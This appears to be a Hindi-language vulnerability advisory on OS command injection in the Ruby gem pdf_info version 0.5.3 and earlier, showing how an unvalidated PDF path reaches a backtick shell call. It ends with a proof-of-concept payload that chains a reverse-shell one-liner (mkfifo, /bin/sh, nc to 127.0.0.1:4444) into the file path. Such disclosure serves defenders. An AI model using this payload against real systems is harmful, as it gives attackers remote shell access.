
pdf_info <= 0.5.3 OS कमांड इंजेक्शन
रूबी जेम pdf_info के संस्करण <= 0.5.3 में OS कमांड इंजेक्शन की कमजोरी है जब PDF::Info ऑब्जेक्ट पर एक मेथड निष्पादित की जाती है।
एक हमलावर विशेष रूप से तैयार किए गए पेलोड का उपयोग करके कमांड चेनिंग के माध्यम से OS कमांड निष्पादित कर सकता है।
जब एक नया PDF::Info ऑब्जेक्ट बनाया जाता है तो initialize मेथड को कॉल किया जाता है
def initialize(pdf_path)
@pdf_path = pdf_path
end
ऑब्जेक्ट इनिशियलाइज़ेशन के दौरान कोई सत्यापन नहीं किया जाता और उपयोगकर्ता द्वारा प्रदान किया गया पथ उपयोग किया जाता है।
हम निम्नलिखित के साथ एक PDF::Info ऑब्जेक्ट बना सकते हैं और PDF का मेटाडेटा वापस कर सकते हैं।
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
जब हम PDF::Info ऑब्जेक्ट पर metadata मेथड को कॉल करते हैं, तो process_output मेथड को कॉल किया जाता है जिसमें command मेथड को तर्क के रूप में पास किया जाता है।
command मेथड @pdf_info क्लास वेरिएबल का उपयोग करके सिस्टम पर pdfinfo कमांड को निष्पादित करता है, निम्नलिखित कोड स्निपेट का उपयोग करके कमांड का आउटपुट वापस करता है।
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
initialize मेथड की तरह @pdf_path वेरिएबल पर कोई सत्यापन नहीं किया जाता। यह हमें ; के साथ कमांड चेनिंग का उपयोग करके एक मनमाना कमांड निष्पादित करने की अनुमति देता है।
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
उपरोक्त कोड स्निपेट 127.0.0.1 पर पोर्ट 4444 पर एक रिवर्स शेल निष्पादित करेगा
